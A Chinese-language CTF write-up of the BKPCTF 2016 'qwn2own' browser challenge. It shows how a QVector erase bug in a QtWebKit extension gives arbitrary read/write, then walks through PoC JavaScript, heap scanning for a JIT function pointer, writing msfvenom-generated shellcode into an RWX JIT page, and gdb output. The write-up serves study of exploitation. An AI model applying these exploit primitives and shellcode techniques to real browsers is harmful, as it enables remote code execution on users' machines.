概述:第一次打浏览器的PWN,也是期末前最后一次Exploit。漏洞存在于JS引擎的扩展,JS引擎则是webkit自带的javascriptcore。题目的所有防护机制都是开启的,最后除了传统利用方法泄露地址,利用JIT Page写来绕过DEP是比较有意思的部分。
运行这个程序,我们打开一个主办方写的浏览器。要求我们编写对该浏览器进行漏洞利用的js代码,并且弹出一个计算器。
Target浏览器运行效果
题目描述:
The BKP Database JavasScript API allows users to store data that can be kept hidden from other users.This allows web applications to share one web context between multiple users but yet still be able to storesensitive information pertaining to each user and keep it secret from the others.
更多部分看官方的API文档
这个Browser大概是出题人用QTwebkit内核写出的简易浏览器,主办方写了一个外部的扩展(JS Extension),题目描述的就是这个插件。
同时这个漏洞存在于插件中(如果能挖到webkit/jscore漏洞的话还不去申请CVE?)
主办方还给出了API接口文档,速读一下获取这个扩展功能的全貌。
0.前置知识 QT WebKit https://doc.qt.io/archives/qt-5.5/qtwebkitwidgets-index.html
QT-WebKit是一个将Webkit移植到QT的一个开源项目,Javascript操作的对象都是通过C++定义,漏洞存在的于C++所写的扩展中,JS在调用扩展对象时才有可能触发这个漏洞。
因为笔者的C++ STL基础不够扎实,所以QT部分无法解读更多内容。(挖个坑)
QT5源码:http://download.qt.io/archive/qt/5.14/
线上版 https://code.woboq.org/qt5/qtbase/src/corelib/tools/qvector.h.html
JIT基础知识(留坑)
1.漏洞代码 通过访问题目提供的example.html和API文档来快速熟悉代码。当使用BKPDataBase创建数据存储,会返回一个BKInstancec对象。BKPInstance对象可以创建一个包含数组(QVector)的对象(QBJECT)BKPStore,该对象可以创建一个拥有对其存储数据的操作权。
程序的BKPStore对象定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 class BKPStore : public QObject { Q_OBJECT public : BKPStore(QObject * parent = 0 , const QString &name = 0 , quint8 tp = 0 , QVariant var = 0 , qulonglong store_ping = 0 ); void StoreData (QVariant v) ; Q_INVOKABLE QVariant getall () ; Q_INVOKABLE QVariant get (int idx) ; Q_INVOKABLE int insert (unsigned int idx, QVariant var) ; Q_INVOKABLE int append (QVariant var) ; Q_INVOKABLE void remove (int idx) ; Q_INVOKABLE void cut (int beg, int end) ; Q_INVOKABLE int size () ; private : quint8 type; QVector<QVariant> varvect; QVector<qulonglong> intvect; QVector<QString> strvect; qulonglong store_ping; };
由于BKPStore的remove操作没有对输入参数进行限制,使用-1参数会导致erase函数对数组结构本身造成破坏,引发一个任意地址R/W漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 void BKPStore::remove (int idx) { if (this ->type == 0 ){ this ->varvect.erase(this ->varvect.begin() + idx); }else if (this ->type == 1 ){ this ->intvect.erase(this ->intvect.begin() + idx); }else if (this ->type == 2 ){ this ->strvect.erase(this ->strvect.begin() + idx); }else { BKPException ex; throw ex; }
QT中erase内联函数(/src/corelib/tools/qvector.h)定义,erase如果只有一个参数,就只会对当前值erase,而不是一个范围。
1 2 iterator erase (iterator begin, iterator end) ;inline iterator erase (iterator pos) { return erase(pos, pos+1 ); }
QT版本的erase的实现和标准的STL中基本一致,将erase范围内的数据删去,并且将aend以后的参数拷贝到前面新的空闲位置。(使用new或者memmove)
关键问题在于这个函数也没有对输入参数的检测,如果输入的参数为-1,那么abegin=-1,aend=0,erase会将原本index为0的数据,到QVector结构的前面(index=-1)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 template <typename T>typename QVector<T>::iterator QVector<T>::erase(iterator abegin, iterator aend){ Q_ASSERT_X(isValidIterator(abegin), "QVector::erase" , "The specified iterator argument 'abegin' is invalid" ); Q_ASSERT_X(isValidIterator(aend), "QVector::erase" , "The specified iterator argument 'aend' is invalid" ); const auto itemsToErase = aend - abegin; if (!itemsToErase) return abegin; Q_ASSERT(abegin >= d->begin()); Q_ASSERT(aend <= d->end()); Q_ASSERT(abegin <= aend); const auto itemsUntouched = abegin - d->begin(); if (d->alloc) { detach(); abegin = d->begin() + itemsUntouched; aend = abegin + itemsToErase; if (!QTypeInfoQuery<T>::isRelocatable) { iterator moveBegin = abegin + itemsToErase; iterator moveEnd = d->end(); while (moveBegin != moveEnd) { if (QTypeInfo<T>::isComplex) static_cast <T *>(abegin)->~T(); new (abegin++) T(*moveBegin++); } if (abegin < d->end()) { destruct(abegin, d->end()); } } else { destruct(abegin, aend); memmove(static_cast <void *>(abegin), static_cast <void *>(aend), (d->size - itemsToErase - itemsUntouched) * sizeof (T)); } d->size -= int (itemsToErase); } return d->begin() + itemsUntouched; }
BKPStore对象操作对象QVector,定义了三个不同的QVector指针(对应不同的type,1对应int,2对应str,0对应var),如果忘了可以往上翻,重新看一下这个对象的定义。
QVector数据结构为QArrayData
头部长度24byte,offset这个值正好在array的前面。如果使用remove(-1)正好会把offset值删去,并将我们写入数组的第一个值放入offset值。(虽然实际上只能覆盖低八位,不过已经足够够了,offset值本身就用不到高8位)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 struct Q_CORE_EXPORT QArrayData { QtPrivate::RefCount ref; int size; uint alloc : 31 ; uint capacityReserved : 1 ; qptrdiff offset; void *data () { Q_ASSERT(size == 0 || offset < 0 || size_t (offset) >= sizeof (QArrayData)); return reinterpret_cast <char *>(this ) + offset; } const void *data () const { Q_ASSERT(size == 0 || offset < 0 || size_t (offset) >= sizeof (QArrayData)); return reinterpret_cast <const char *>(this ) + offset; }
POC
通过POC可以看到,通过remove(-1) QArryData数组的第一位0覆盖了offset,
然后程序将整个结构的头部打印了出来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Poc1.html <div id="print" ></div> <script type="text/javascript" > var db=BKPDataBase.create("dbname" ,"passwd" ); var A=db.createStore("db1" ,1 ,[0 ,1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9 ],0xaabb ); A.remove(-1 ); var x="" ; for (var i=0 ;i<15 ;i++) { x+=i+" : " +A.get(i).toString(16 )+"<br>" ; } document.getElementById("print" ).innerHTML=x; </script>
头部分别是ref=1 ,size因为remove所以减少了1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0 : 900000001 1<--ref 9 <--size 1 : 7faa0000000d 2 : 0 3 : 1 4 : 2 5 : 3 6 : 4 7 : 5 8 : 6 9 : 0 <--size减少导致的不可读(9及以下都不可读) 10 : 0 11 : 0 12 : 0 13 : 0 14 : 0
此时通过inset可以将size值修改为任意值,从而达到任意地址读取的效果。
A.insert(0,0xffff000000001);
如图所示,我们将size值改为了0xffff(还要保证ref=1,否则会被垃圾回收机制干掉),于是后面的地址都能打印出来了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 poc2.html <div id="print" ></div> <script type="text/javascript" > var db=BKPDataBase.create("dbname" ,"passwd" ); var A=db.createStore("db1" ,1 ,[0 ,1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9 ],0xaabb ); A.remove(-1 ); A.insert(0 ,0xffff000000001 ); var x="" ; for (var i=0 ;i<15 ;i++) { x+=i+" : " +A.get(i).toString(16 )+"<br>" ; } document.getElementById("print" ).innerHTML=x; </script>
2.构造Exploit 一些要点:Js的heap和QT(我们这次分析的)的heap是分开的,QT直接用的libc的heap。所以内存查找不用担心找到js中的key1
通过匹配store_ping值,寻找C对象的BKPStore结构地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <div id="print" ></div> <script type="text/javascript" > var db=BKPDataBase.create("dbname" ,"passwd" ); var key1=0xabcd1234 ; var B=db.createStore("B" ,1 ,[0 ,1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9 ],0xaabb ); var C=db.createStore("C" ,1 ,[0 ,1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9 ],key1); B.remove(-1 ); B.insert(0 ,0xffff000000001 ); var x="" ; for (var i=0 ;i<2000 ;i++) { if (B.get(i)==key1){ for (var j=i-10 ;j<i+10 ;j++) { x+=j+" : " +B.get(j).toString(16 )+"<br>" ; } } } document.getElementById("print" ).innerHTML=x; </script>
构造两个Vector,读取另一个的虚函数表
判断条件 store_ping参数 ,对照结构可以取到第二个Vector的intvect地址
BKPStore结构参考
1 2 3 4 5 6 quint8 type; QVector<QVariant> varvect; QVector<qulonglong> intvect; QVector<QString> strvect; qulonglong store_ping;
JS打印出了BKPStore的结构,我们可以获取这个QVector的地址还有后文用于泄漏地址的Vtable地址。
打印地址时候需要注意的是,因为创建大量的内存,heap内部空间会比较乱,很可能读取到上一次遗留/错误的地址。添加一个判断条件来保证BKPStore的正确性,必须保证读取到的strvect和varvect相等(未初始化状态),
intvect的内容,指向QArrayData结构
2.1实现任意地址读写 任意地址写的思路很简单,通过控制对象C_Vector的offset大小,实现任意地址读写。修改offset的方法,只需通过BVector的越界读写修改C的offset即可
实现代码
使用read读取vtable的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <div id="out" ></div> <script type="text/javascript" > function print (str ) { document .getElementById("out" ).innerHTML+=str+"<br>" ; } function exploit ( ) { function read (addr ) { offset=addr-C_vec; B.insert(B2C_index-1 ,offset); info=C.get(0 ); if (C.get(0 )==key2) return false ; B.insert(B2C_index-1 ,0 ); return info; } for (var i = 1000 ; i >= 0 ; i--) { var db=BKPDataBase.create("dbname" ,"passwd" ); var key1=Math .floor(Math .random()*1e12 ); var key2=Math .floor(Math .random()*1e12 ); var B=db.createStore("B" ,1 ,[0 ,1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9 ],0xabc ); var C=db.createStore("C" ,1 ,[key2,0xbbbb ,0xdeadbeef ],key1); B.remove(-1 ); B.insert(0 ,0xffff000000001 ); var B2C_index=-1 ; var C_vec=-1 ; var vtable; var x="" ; for (var i=0 ;i<2000 ;i++) { if (B.get(i)==key1&&B.get(i-1 )==B.get(i-3 )&&C_vec==-1 ){ C_vec=B.get(i-2 ); vtable=B.get(i-6 ); } } for (var i=0 ;i<2000 ;i++) { if (B.get(i)==key2&&B.get(i+1 )==0xbbbb &&B.get(i+2 )==0xdeadbeef &&B2C_index==-1 ){ B2C_index=i; } } if (B2C_index!=-1 &&C_vec!=-1 ) { x=("C_vec=" +C_vec.toString(16 )+"<br>" ); x+=("B2C_index=" +B2C_index.toString(16 )+"<br>" ); if (read(vtable)==false ) continue ; x+="info=" +read(vtable).toString(16 ); print(x); break ; } } } exploit(); </script>
Gdb attach到浏览器,查看虚函数表地址
1 2 3 4 gef➤ x/20xg 0x55f34f2ed400 0x55f34f2ed400 <_ZTV8BKPStore+16>: 0x000055f34f0e8b80 0x000055f34f0e8eb0 0x55f34f2ed410 <_ZTV8BKPStore+32>: 0x000055f34f0e8ff0 0x000055f34f0e93d0 0x55f34f2ed420 <_ZTV8BKPStore+48>: 0x000055f34f0e9230 0x00007f7f7d357b10
同理任意地址写的代码只需把read函数的get换成insert
1 2 3 4 5 6 7 8 9 function write (addr,content) { offset=addr-C_vec; B.insert(B2C_index-1 ,offset); if (C.get(0 )==key2) return false ; C.insert(0 ,content); return true ; }
不过这里,任意地址写没办法修改虚函数表,会报段错误。
修改程序流程只需要将vtable覆盖即可,不过这次的案例并不会覆盖虚表的方式,而会使用JIT Page的方式写入shellcode。
漏洞分析完毕,下面开始写利用
2.2利用手法 看大佬的分析,主要两种利用方式
1.传统的泄漏地址,绕过ASLR
2.使用JIT Page写shellcode(JIT SPray)
参考文献 https://www.usenix.org/sites/default/files/conference/protected-files/woot18_slides_gawlik.pdf
[https://conference.hitb.org/hitbsecconf2010ams/materials/D1T2%20-%20Alexey%20Sintsov%20-%20JIT%20Spray%20Attacks%20and%20Advanced%20Shellcode.pdf] (https://conference.hitb.org/hitbsecconf2010ams/materials/D1T2 - Alexey Sintsov - JIT Spray Attacks and Advanced Shellcode.pdf)
JITPage写Shellcode Javascriptcore Heap(JIT Page所在Heap)和QT的Heap(QT用的libc堆)地址不在同一个堆中,所以需要在QT的heap中找到指向JIT Page的指针。
首先在exploit开头创建一个func,并且循环调用。JIT会将循环多次的func转化为机器码以提高效率。将func的地址写入数组,并且以特定个格式存储,以便之后在内存查找func地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 var bab = "Migraine" ; targeted = function (a ) { for (var i = 0 ; i< 10000 ; i++){ a = a^0x123456 ^0x3eeee ; a= a^0x1666456 ^0x3e66ee ; } return a^0x66666 ; } _yol = new Array (20 ); for (i=0 ;i<20 ;i++) _yol[i] = bab; _yol[13 ] = targeted; func_addr = null ;
获取JIT page指针(实现任意地址读写之后)
JIT指针内存,看到我们写入func被JIT编译为了机器码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 for (jimbo=C_vec;func_addr==null ;jimbo=jimbo-8 ) { chunksz=read(jimbo); if (chunksz<=0x20 ||(chunksz&0xf1 )!=chunksz) continue ; chunksz = chunksz - chunksz & 1 ; nextsz = read(jimbo+chunksz); if (nextsz < 0x20 || (nextsz & 0xfff1 ) != nextsz || (nextsz&1 )!=1 ) continue ; heapaddr = read(jimbo+10 *8 ); if ((heapaddr <= C_vec) || ((heapaddr & 0xfff ) != 0 )) continue ; if (heapaddr != read(jimbo + 11 *8 )) continue ; nbregions = read(jimbo+2 *8 ); regsz = read(jimbo+4 *8 ); heapsz = read(jimbo + 12 *8 ); if (nbregions != 2 || ((heapsz & 0xfff ) != 0 ) || ((regsz & 0xfff ) != 0 ) || heapsz == 0 || nbregions*regsz != heapsz) continue ; for (i=8 ;i<heapsz;i+=8 ) { babar = read(heapaddr + i); if (babar < C_vec) continue ; match = true ; for (j=1 ;j<20 ;j++) { if (((j == 13 ) && (read(heapaddr + i + j*8 ) == babar)) || ((j != 13 ) && (read(heapaddr + i + j*8 ) != babar))) { match = false ; break ; } } if (match == true ) { func_addr = read(heapaddr + i + 13 *8 ); break ; } } targeted(123 ); jit_ptr = read(func_addr + 8 *3 ) + 8 *4 ; jit_addr =read(jit_ptr); } print("func_addr=" +func_addr.toString(16 )+"<br>" ); print("jit_addr=" +_addr.toString(16 )+"<br>" );
这里的JIT page是RWX,所以直接写shellcode就行。之后调用func就会执行shellcode。
而不是通过覆盖指向JIT的Point来控制程序流。
不过目前大多数引擎都支持了对JIT Page的防护,JIT Page程序没有写入和执行(除非call func)权限,就需要使用JIT Spray和JIT-ROP。
1 2 3 4 5 for (var i =0 ; i < shellcode.length; i++) { write(jit_addr+i,shellcode.charCodeAt(i)); } targeted(123 );
泄漏地址(留坑) 获取qwn2own基地址
读者应该还记得,之前泄漏BKPStore结构时,我们能够leak虚函数表,因为vtable虚函数表在程序内的偏移是固定的,于qwn2own 基地址偏移0x2103F0.
而stroe_ping-6的位置,存放这BKPStore的虚函数表(偏移0n16)
查看读取出的虚函数表
1 2 3 4 5 gef➤ x/20 0x55a2cd227400 (后又重新运行,导致vtable地址和图片不一致) 0x55a2cd227400 <_ZTV8BKPStore+16 >: 0x000055a2cd022b80 0x000055a2cd022eb0 0x55a2cd227410 <_ZTV8BKPStore+32 >: 0x000055a2cd022ff0 0x000055a2cd0233d0 0x55a2cd227420 <_ZTV8BKPStore+48 >: 0x000055a2cd023230 0x00007f1544ddbb10 0x55a2cd227430 <_ZTV8BKPStore+64 >: 0x00007f1544dd7810 0x00007f1544dd7820
获取Binary的Base_address之后,可以通过泄漏got表来计算各个模块的基地址,也可以使用DT_DEBUG获取(详见参考文献)
留坑
实现_dl_runtime_resolve函数
dynamic段的定义(glibc/elf/elf.h)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 typedef struct { Elf64_Sxword d_tag; //8 byte /* Dynamic entry type */ Union //联合类型 8 byte { Elf64_Xword d_val; /* Integer value */ Elf64_Addr d_ptr; /* Address value */ } d_un; } Elf64_Dyn; //16 byte /* Legal values for d_tag (dynamic entry type). */ #define DT_NULL 0 /* Marks end of dynamic section */ #define DT_NEEDED 1 /* Name of needed library */ #define DT_STRTAB 5 /* Address of string table */ #define DT_SYMTAB 6 /* Address of symbol table */ gef➤ elfheader .dynsym = 0x55a2cd0172e0 .dynstr = 0x55a2cd018738 .gnu.version = 0x55a2cd01a33c .gnu.version_r = 0x55a2cd01a4f0 .rela.dyn = 0x55a2cd01a580 .init = 0x55a2cd01c2c0 .plt = 0x55a2cd01c2e0 .plt.got = 0x55a2cd01c2f0 .text = 0x55a2cd01c730 .fini = 0x55a2cd023aa4 .rodata = 0x55a2cd023ac0 .eh_frame_hdr = 0x55a2cd024898 .eh_frame = 0x55a2cd024c70 .gcc_except_table = 0x55a2cd026584 .init_array = 0x55a2cd227320 .fini_array = 0x55a2cd227330 .jcr = 0x55a2cd227338 .data.rel.ro = 0x55a2cd227340 .dynamic = 0x55a2cd227910 .got = 0x55a2cd227b50 .data = 0x55a2cd228000 .bss = 0x55a2cd228028
查看dynamic段
1 2 3 4 5 6 7 8 gef➤ x/40 0x55a2cd227910 0x55a2cd227910: 0x0000000000000001 0x0000000000000001 0x55a2cd227920: 0x0000000000000001 0x0000000000000ea7 略 0x55a2cd227a10: 0x0000000000000005 <--d_tag=5 0x000055a2cd018738 <--STRTAB 0x55a2cd227a20: 0x0000000000000006<--d_tag=6 0x000055a2cd0172e0 <--SYMTAB 0x55a2cd227a30: 0x000000000000000a 0x0000000000001c03 0x55a2cd227a40: 0x000000000000000b 0x0000000000000018
查看STRTAB
1 2 3 4 5 6 7 8 9 10 11 12 13 gef➤ x/20s 0x000055a2cd018738 0x55a2cd018738: "" 0x55a2cd018739: "libQt5WebKitWidgets.so.5" 0x55a2cd018752: "__gmon_start__" 0x55a2cd018761: "_ITM_deregisterTMCloneTable" 0x55a2cd01877d: "_ITM_registerTMCloneTable" 0x55a2cd018797: "_Jv_RegisterClasses" 0x55a2cd0187ab: "_ZNK11QObjectData17dynamicMetaObjectEv" 0x55a2cd0187d2: "_ZN7QObject7connectEPKS_PKcS1_S3_N2Qt14ConnectionTypeE" 0x55a2cd018809: "_ZN11QMetaObject10ConnectionD1Ev" 0x55a2cd01882a: "_ZN4QUrlC1Ev" 0x55a2cd018837: "_ZN10QArrayData11shared_nullE" 0x55a2cd018855: "_ZN10QArrayData10deallocateEPS_mm"
调试的新姿势整理
1 2 3 4 5 6 7 8 9 gdb命令 at PID 附加到进程 elfheader 获取ELF的header信息 查看进程内存 cat /proc/`pidof qwn2own`/maps 查看二进制 Xxd msf生成shellcode(弹计算器shell加DISPLAY) msf5 > msfvenom -p linux/x64/exec CMD='DISPLAY=:0 gnome-calculator' -f c> shellcode
参考文献: https://blog.frizn.fr/bkpctf-2016/qwn2own-bkpctf16
http://v4kst1z.top/2019/01/25/qwn2own/#more
http://rk700.github.io/2015/04/09/dt_debug-read/